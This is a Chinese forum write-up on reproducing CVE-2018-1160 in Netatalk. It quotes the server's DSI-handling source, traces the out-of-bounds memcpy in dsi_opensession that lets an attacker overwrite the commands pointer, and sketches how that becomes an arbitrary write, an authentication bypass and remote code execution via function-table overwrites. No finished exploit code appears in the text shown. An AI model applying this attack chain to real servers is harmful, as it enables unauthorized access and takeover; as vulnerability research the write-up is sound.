首页
社区
课程
招聘
[原创]Netatalk CVE-2018-1160 复现及漏洞利用思路
2023-4-6 18:00 16913

[原创]Netatalk CVE-2018-1160 复现及漏洞利用思路

2023-4-6 18:00
16913

author:cxing
Date:2023年4月6日
introduction:Netatalk 是一个 Apple Filing Protocol (AFP) 的开源实现。 它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。AFP的数据流量包格式为DSI(Data Stream Interface),DSI 在客户端和 AFP 服务器之间使用。

环境搭建

首先需要搭建netatalk的运行环境,这里使用docker搭建Ubuntu18.04,可以在docker Ubuntu18.04中进行环境复现。这里有两种方法,一是在docker中下载源码、安装依赖环境编译,二是在本机中下载源码、依赖编译。我这里选择了比较稳妥的的第一中。

 

运行Ubuntu 18.04的镜像,没有会自动从官方docker仓库中pull。

1
sudo docker run -it ubuntu:18.04 /bin/bash

关于详细的安装步骤可以参考先知的这篇文章搭建环境,如果你想使用我的环境可以使用下面链接下载我的docker镜像。

链接:https://pan.baidu.com/s/1NJOfT9xS111RSmgcSbEW3Q
提取码:8r5i

 

你需要使用如下命令启动docker,以保证我docker中的设置正常运行。

1
sudo docker run -p 548:548 -it --privileged=true temp-image:latest /sbin/init

Netatalk代码分析&漏洞点分析

netatalk处理请求类似于Apache,对于每一个用户请求都会为其fork一个子进程处理,而父进程则监控请求的处理情况。netatalk的关键运行模块主要有两个,主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境,而libnetatalk是具体解析和处理dsi流量的。

注1:Netatalk的大部分功能性函数命名风格采用 模块命名空间_函数描述 的格式,如afp_exit、afp_over_dsi、dsi_opensession等。
注2: DSI流量包格式可以参考这篇wiki,Data_Stream_Interface

 

对于理解Netatalk,需要用afp_start、afp_over_dsi为主线理解。

 

afp_start在main中被调用,通过阅读下面代码可以得知。第一个关键代码处调用了init_listening_sockets其目的是watch atp, dsi sockets and ipc parent/child file descriptor,也就是从这里开始监听APF请求了。继续往下看,我们发现了(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码,返货了进程描述符,这意味着从这里开始已经真正开始接收和处理请求了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int main(int ac, char **av) {
    ...
 
    /* watch atp, dsi sockets and ipc parent/child file descriptor. */
    if (!(init_listening_sockets(&obj))) {
        LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
        afp_exit(EXITERR_CONF);
    }
 
        ...
 
    while (1) {
        pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
        ret = poll(asev->fdset, asev->used, -1);
        pthread_sigmask(SIG_BLOCK, &sigs, NULL);
        saveerrno = errno;
 
        if (gotsigchld) {
            gotsigchld = 0;
            child_handler();
            continue;
        }
 
        if (reloadconfig) {
            nologin++;
 
            if (!(reset_listening_sockets(&obj))) {
                LOG(log_error, logtype_afpd, "main: reset socket handlers");
                afp_exit(EXITERR_CONF);
            }
 
            LOG(log_info, logtype_afpd, "re-reading configuration file");
 
            configfree(&obj, NULL);
            afp_config_free(&obj);
 
            if (afp_config_parse(&obj, "afpd") != 0)
                afp_exit(EXITERR_CONF);
 
            if (configinit(&obj) != 0) {
                LOG(log_error, logtype_afpd, "config re-read: no servers configured");
                afp_exit(EXITERR_CONF);
            }
 
            if (!(init_listening_sockets(&obj))) {
                LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
                afp_exit(EXITERR_CONF);
            }
 
            nologin = 0;
            reloadconfig = 0;
            errno = saveerrno;
 
            if (server_children) {
                server_child_kill(server_children, SIGHUP);
            }
 
            continue;
        }
 
        if (ret == 0)
            continue;
 
        if (ret < 0) {
            if (errno == EINTR)
                continue;
            LOG(log_error, logtype_afpd, "main: can't wait for input: %s", strerror(errno));
            break;
        }
 
        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {
 
                    case LISTEN_FD:
                        // here
                        if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                            if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
                                LOG(log_error, logtype_afpd, "out of asev slots");
 
                                /*
* Close IPC fd here and mark it as unused
*/
                                close(child->afpch_ipc_fd);
                                child->afpch_ipc_fd = -1;
 
                                /*
* Being unfriendly here, but we really
* want to get rid of it. The 'child'
* handle gets cleaned up in the SIGCLD
* handler.
*/
                                kill(child->afpch_pid, SIGKILL);
                        }
                        }
                            break;
 
                            case IPC_FD:
                            child = (afp_child_t *)(asev->data[i].private);
                            LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]", child->afpch_pid);
 
                            if (ipc_server_read(server_children, child->afpch_ipc_fd) != 0) {
                            if (!(asev_del_fd(asev, child->afpch_ipc_fd))) {
                            LOG(log_error, logtype_afpd, "child[%u]: no IPC fd");
                        }
                            close(child->afpch_ipc_fd);
                            child->afpch_ipc_fd = -1;
                        }
                            break;
 
                            default:
                            LOG(log_debug, logtype_afpd, "main: IPC request for unknown type");
                            break;
                        } /* switch */
                        /* if */
                        } /* for (i)*/
                        } /* while (1) */
 
                        }

我们再来看afp_start函数。首先调用了dsi_getsession,并且forked后进入afp_over_dsi处理本次请求。我们先看dsi_getsession,我们可以看到在第一个数据包中只允许我们利用DSI中的command字段访问两个Command命令或者说函数,分别是DSIGetStatusDSIOpenSession。我们查阅一下,DSIOpenSession命令的分支即dsi_opensession函数。我们看到switch语句在解析DSI session options时,DSIOPT_ATTNQUANT分支中出现了一个memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);语句,这里存在一个越界写漏洞。在进入到dsi_opensession函数之前,会隐式的调用dsi_stream_receive函数,将我们发送的DSI数据包中的Payload字段 copy to dsi->commands中。而Payload字段是可控的,用户发包时自由指定,只要服务可以解析即可。因此,我们发现payload在这里实际上解析的格式是payload[0]:code, payload[1]:size, payload[2:size -1]:data,而memcpy拷贝至的dsi->attn_quantum变量却是一个uint32类型,也就说,只要我们合理设置size和data就可以触发越界写,覆盖&dsi->attn_quantum后面的字段。我们可以往后覆盖多少个字节呢?dsi->commands是一个uint8类型的指针,也就是解析格式中size最大值为255,我们可以往后覆盖255个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;
 
    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }
 
    // we've forked.
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }
 
    return child;
}
 
/*!
* Start a DSI session, fork an afpd process
*
* @param childp    (w) after fork: parent return pointer to child, child returns NULL
* @returns             0 on sucess, any other value denotes failure
*/
/* DSI Commands */
#define DSIFUNC_CLOSE   1       /* DSICloseSession */
#define DSIFUNC_CMD     2       /* DSICommand */
#define DSIFUNC_STAT    3       /* DSIGetStatus */
#define DSIFUNC_OPEN    4       /* DSIOpenSession */
#define DSIFUNC_TICKLE  5       /* DSITickle */
#define DSIFUNC_WRITE   6       /* DSIWrite */
#define DSIFUNC_ATTN    8       /* DSIAttention */
#define DSIFUNC_MAX     8       /* largest command */
 
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
 
    switch (dsi->header.dsi_command) {
        case DSIFUNC_STAT: /* send off status and return */
            {
                /* OpenTransport 1.1.2 bug workaround:
*
* OT code doesn't currently handle close sockets well. urk.
* the workaround: wait for the client to close its
* side. timeouts prevent indefinite resource use.
*/
 
                static struct timeval timeout = {120, 0};
                fd_set readfds;
 
                dsi_getstatus(dsi);
 
                FD_ZERO(&readfds);
                FD_SET(dsi->socket, &readfds);
                free(dsi);
                select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);   
                exit(0);
            }
            break;
 
        case DSIFUNC_OPEN: /* setup session */
            /* set up the tickle timer */
            dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
            dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
            dsi_opensession(dsi);
            *childp = NULL;
            return 0;
 
        default: /* just close */
            LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
            dsi->proto_close(dsi);
            exit(EXITERR_CLNT);
    }
}
 
/* DSI session options */
#define DSIOPT_SERVQUANT 0x00   /* server request quantum */
#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */
#define DSIOPT_REPLCSIZE 0x02   /* AFP replaycache size supported by the server (that's us) */
 
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;
 
  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }
 
  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]){
    case DSIOPT_ATTNQUANT: // dsi_header.dsi_data[0]:code, dsi_header.dsi_data[1]:size, dsi_header.dsi_data[2:size -1]:data
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);  // 越界写,上层函数会执行 memcpy(dsi->commands, dsi_header->dsi_data) dsi_header是我们发包的内容
      dsi->attn_quantum = ntohl(dsi->attn_quantum);
 
    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }
 
// ...
 
  dsi_send(dsi);
 
 
}

DSI结构体如下,从attn_quantum字段往后溢出,我们最多可以溢出至data数组的部分空间(data数组非常大)。比较关键的是我们可以覆盖指针dsi->commands。在后面的漏洞分析小节,我们会纤细的讨论覆盖commands指针所导致的严重后果,这将使得我们可以RCE。afp_start->dsi_getsession->dsi_opensession这条路径我们分析至此。大意的作用从两个关键函数名也可以看出来,核心就是open session,配置一些东西并开启正式的连接会话,你可以理解为TCP建立连接前的三次握手,但是在配置过程中产生了越界写漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */
 
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */ //
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */
 
    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;
 
#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif
 
    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

我们再继续从afp_start->afp_over_dsi开始看。afp_over_dsi处理正式连接的请求核心再这个while循环。首先第一行重要代码cmd = dsi_stream_receive(dsi);Blocking read on the network socket,即阻塞地从socket连接中读取dsi steam,即会解析dsi流量填充dsi结构体,也就是反序列化dsi流量。我们进入快速阅读一下dsi_stream_receive函数,注意我们关注的是该函数如何从socket中读取数据填充dsi结构体。我们可以明显的发现block变量即是DSI Header,将block copy to dsi.header中。而其中关键的数据包的body也即payload或者说dsi data是同过一行if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)从dsi结构体的buffer中读取到dsi->commands指针指向的内存中,最后其返回值返回block[1],也就是我们下图1中给出的DSI Header结构中的Command字段。至此我们了解该函数是如何把DSI流量数据填充进 dsi structure。

注3:这里我们就发现了任意地址写漏洞。我们最开始的越界写,第一次发包可以覆盖commands,而后续发包可以往commands中写入我们希望的数据,指针劫持并可控的写指针指向内存,并且我们发现我们可以写多少是由图1的total data length这个字段决定的,而这个字段是4字节大小且根据payload的长度计算值,因此我们可以写非常长的payload。
任意地址写漏洞是后续RCE的基。我们之所以可以如此是因为dsi->commands指针的生命周期与dsi结构体生命周期是一样的,存在于一次连接中。

 

我们继续回到afp_over_dsi的while循环中。再dsi_stream_receive函数返回时,其返回值同时也是本次请求的Command字段,该返回值进入Switch语句执行对应的command命令,而我们着重关注最核心的case DSIFUNC_CMD分支。这个分支的作用简而言之,就是根据我们DSI数据流中的Payload字段的数据,执行AFP回调函数。我们可以发现核心的afp_switch变量,通过全局搜索afp_switch =可以发现两处赋值(如图2所示)。通过变量名和两张回调函数表的内容,可以猜测,一个是未登入或未授权时走preauth_switch,一个是登入成功或授权时走postauth_switch

注4:我们拥有了任意地址写,那么处理得当,我们可以为授权时通过任意地址写将afp_switch的值改成postauth_switch,我们将可以访问postauth_switch中的回调函数,即触发未授权访问。更进一步,我们将preauth_switchpostauth_switch表中的一些项改成我们希望的代码段地址、one_gadget等,将触发RCE。因此目前我们已经从漏洞点中分析出未授权访问和RCE两种利用方式了。

 

图片描述

 

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
void afp_over_dsi(AFPObj *obj)
{
    DSI *dsi = (DSI *) obj->dsi;
 
    // ...
 
     while (1) {
        if (sigsetjmp(recon_jmp, 1) != 0)
            /* returning from SIGALARM handler for a primary reconnect */
            continue;
 
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);
 
        if (cmd == 0) {
            /* cmd == 0 is the error condition */
            if (dsi->flags & DSI_RECONSOCKET) {
                /* we just got a reconnect so we immediately try again to receive on the new fd */
                dsi->flags &= ~DSI_RECONSOCKET;
                continue;
            }
 
            /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
            if (dsi->flags & DSI_AFP_LOGGED_OUT) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
                afp_dsi_close(obj);
                exit(0);
            }
 
            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }
 
            /* Some error on the client connection, enter disconnected state */
            if (dsi_disconnect(dsi) != 0)
                afp_dsi_die(EXITERR_CLNT);
 
            ipc_child_state(obj, DSI_DISCONNECTED);
 
            while (dsi->flags & DSI_DISCONNECTED)
                pause(); /* gets interrupted by SIGALARM or SIGURG tickle */
            ipc_child_state(obj, DSI_RUNNING);
            continue; /* continue receiving until disconnect timer expires
                       * or a primary reconnect succeeds  */
        }
 
        if (!(dsi->flags & DSI_EXTSLEEP) && (dsi->flags & DSI_SLEEPING)) {
            LOG(log_debug, logtype_afpd, "afp_over_dsi: got data, ending normal sleep");
            dsi->flags &= ~DSI_SLEEPING;
            dsi->tickle = 0;
            ipc_child_state(obj, DSI_RUNNING);
        }
 
        if (reload_request) {
            reload_request = 0;
            load_volumes(AFPobj, LV_FORCE);
        }
 
        /* The first SIGINT enables debugging, the next restores the config */
        if (debug_request) {
            static int debugging = 0;
            debug_request = 0;
 
            dircache_dump();
            uuidcache_dump();
 
            if (debugging) {
                if (obj->options.logconfig)
                    setuplog(obj->options.logconfig, obj->options.logfile);
                else
                    setuplog("default:note", NULL);
                debugging = 0;
            } else {
                char logstr[50];
                debugging = 1;
                sprintf(logstr, "/tmp/afpd.%u.XXXXXX", getpid());
                setuplog("default:maxdebug", logstr);
            }
        }
 
 
        dsi->flags |= DSI_DATA;
        dsi->tickle = 0;
 
        switch(cmd) {
 
        case DSIFUNC_CLOSE:
            LOG(log_debug, logtype_afpd, "DSI: close session request");
            afp_dsi_close(obj);
            LOG(log_note, logtype_afpd, "done");
            exit(0);
 
        case DSIFUNC_TICKLE:
            dsi->flags &= ~DSI_DATA; /* thats no data in the sense we use it in alarm_handler */
            LOG(log_debug, logtype_afpd, "DSI: client tickle");
            /* timer is not every 30 seconds anymore, so we don't get killed on the client side. */
            if ((dsi->flags & DSI_DIE))
                dsi_tickle(dsi);
            break;
 
        case DSIFUNC_CMD:
#ifdef AFS
            if ( writtenfork ) {
                if ( flushfork( writtenfork ) < 0 ) {
                    LOG(log_error, logtype_afpd, "main flushfork: %s", strerror(errno) );
                }
                writtenfork = NULL;
            }
#endif /* AFS */
 
            function = (u_char) dsi->commands[0];
 
            /* AFP replay cache */
            rc_idx = dsi->clientID % REPLAYCACHE_SIZE;
            LOG(log_debug, logtype_dsi, "DSI request ID: %u", dsi->clientID);
 
            if (replaycache[rc_idx].DSIreqID == dsi->clientID
                && replaycache[rc_idx].AFPcommand == function) {
                LOG(log_note, logtype_afpd, "AFP Replay Cache match: id: %u / cmd: %s",
                    dsi->clientID, AfpNum2name(function));
                err = replaycache[rc_idx].result;
            /* AFP replay cache end */
            } else {
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;
 
                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
 
                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);
 
                    AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
                    LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
                        AfpNum2name(function), AfpErr2name(err));
 
                    dir_free_invalid_q();
 
                    dsi->flags &= ~DSI_RUNNING;
 
                    /* Add result to the AFP replay cache */
                    replaycache[rc_idx].DSIreqID = dsi->clientID;
                    replaycache[rc_idx].AFPcommand = function;
                    replaycache[rc_idx].result = err;
                } else {
                    LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
                    dsi->datalen = 0;
                    err = AFPERR_NOOP;
                }
            }
 
            /* single shot toggle that gets set by dsi_readinit. */
            if (dsi->flags & DSI_NOREPLY) {
                dsi->flags &= ~DSI_NOREPLY;
                break;
            } else if (!dsi_cmdreply(dsi, err)) {
                LOG(log_error, logtype_afpd, "dsi_cmdreply(%d): %s", dsi->socket, strerror(errno) );
                if (dsi_disconnect(dsi) != 0)
                    afp_dsi_die(EXITERR_CLNT);
            }
            break;
 
        case DSIFUNC_WRITE: /* FPWrite and FPAddIcon */
            function = (u_char) dsi->commands[0];
            if ( afp_switch[ function ] != NULL ) {
                dsi->datalen = DSI_DATASIZ;
                dsi->flags |= DSI_RUNNING;
 
                LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
 
                AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
 
                err = (*afp_switch[function])(obj,
                                              (char *)dsi->commands, dsi->cmdlen,
                                              (char *)&dsi->data, &dsi->datalen);
 
                AFP_AFPFUNC_DONE(function, (char *)AfpNum2name(function));
 
                LOG(log_debug, logtype_afpd, "==> Finished AFP command: %s -> %s",
                    AfpNum2name(function), AfpErr2name(err));
 
                dsi->flags &= ~DSI_RUNNING;
            } else {
                LOG(log_error, logtype_afpd, "(write) bad function %x", function);
                dsi->datalen = 0;
                err = AFPERR_NOOP;
            }
 
            if (!dsi_wrtreply(dsi, err)) {
                LOG(log_error, logtype_afpd, "dsi_wrtreply: %s", strerror(errno) );
                if (dsi_disconnect(dsi) != 0)
                    afp_dsi_die(EXITERR_CLNT);
            }
            break;
 
        case DSIFUNC_ATTN: /* attention replies */
            break;
 
            /* error. this usually implies a mismatch of some kind
             * between server and client. if things are correct,
             * we need to flush the rest of the packet if necessary. */
        default:
            LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
            dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);
            dsi_writeflush(dsi);
            break;
        }
        pending_request(dsi);
 
        fce_pending_events(obj);
    }
}
 
/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];
 
  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
 
  if (dsi->flags & DSI_DISCONNECTED)
      return 0;
 
  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
    return 0;
 
  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];
 
  if (dsi->header.dsi_command == 0)
      return 0;
 
  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
 
  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
 
  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
 
  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }
  // TCP fork dsi
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;
 
  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
 
  return block[1];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,                /*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,                /*  56 -  63 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  64 -  71 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  72 -  79 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  80 -  87 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  88 -  95 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  96 - 103 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 104 - 111 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 112 - 119 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 120 - 127 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 128 - 135 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 136 - 143 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 144 - 151 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 152 - 159 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 160 - 167 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 168 - 175 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 176 - 183 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 184 - 191 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 192 - 199 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 200 - 207 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 208 - 215 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 216 - 223 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 224 - 231 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 232 - 239 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 240 - 247 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 248 - 255 */
};
 
AFPCmd *afp_switch = preauth_switch;
 
AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,    /*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,    /*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,    /*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,            /*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,    /*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
    NULL, NULL, NULL, NULL,                    /*  56 -  63 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  64 -  71 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, afp_syncdir, afp_syncfork,    /*  72 -  79 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  80 -  87 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /*  88 -  95 */
    NULL, NULL, NULL, NULL,
    afp_getdiracl, afp_setdiracl, afp_afschangepw, NULL,    /*  96 - 103 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 104 - 111 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,                    /* 112 - 119 */
    NULL, NULL, NULL, NULL,
